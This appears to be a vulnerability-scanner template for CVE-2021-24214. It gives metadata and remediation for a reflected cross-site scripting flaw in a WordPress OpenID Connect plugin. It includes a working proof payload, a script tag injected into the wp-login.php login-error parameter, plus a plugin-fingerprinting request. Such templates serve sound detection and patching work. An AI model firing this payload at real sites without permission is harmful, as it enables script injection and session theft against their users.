CVE-2021-24214: WordPress OpenID Connect Generic Client 3.8.0-3.8.1 - Cross-Site Scripting

id: CVE-2021-24214

info:
  name: WordPress OpenID Connect Generic Client 3.8.0-3.8.1 - Cross-Site Scripting
  author: tess
  severity: medium
  description: WordPress OpenID Connect Generic Client plugin 3.8.0 and 3.8.1 contains a cross-site scripting vulnerability. It does not sanitize the login error when output back in the login form, thereby not requiring authentication, which can be exploited with the default configuration.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress OpenID Connect Generic Client plugin (3.8.2) to fix this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/31cf0dfb-4025-4898-a5f4-fc7115565a10
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24214
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24214
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24214
    cwe-id: CWE-79
    epss-score: 0.04044
    epss-percentile: 0.88072
    cpe: cpe:2.3:a:daggerhartlab:openid_connect_generic_client:3.8.0:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: daggerhartlab
    product: "openid_connect_generic_client"
    framework: wordpress
  tags: cve2021,cve,wpscan,wordpress,xss,wp-plugin,wp,openid,daggerhartlab
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/daggerhart-openid-connect-generic/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'OpenID Connect Generic Client'

  - method: GET
    path:
      - '{{BaseURL}}/wp-login.php?login-error=<script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'ERROR (<script>alert(document.domain)</script>):'
          - 'Login with OpenID Connect'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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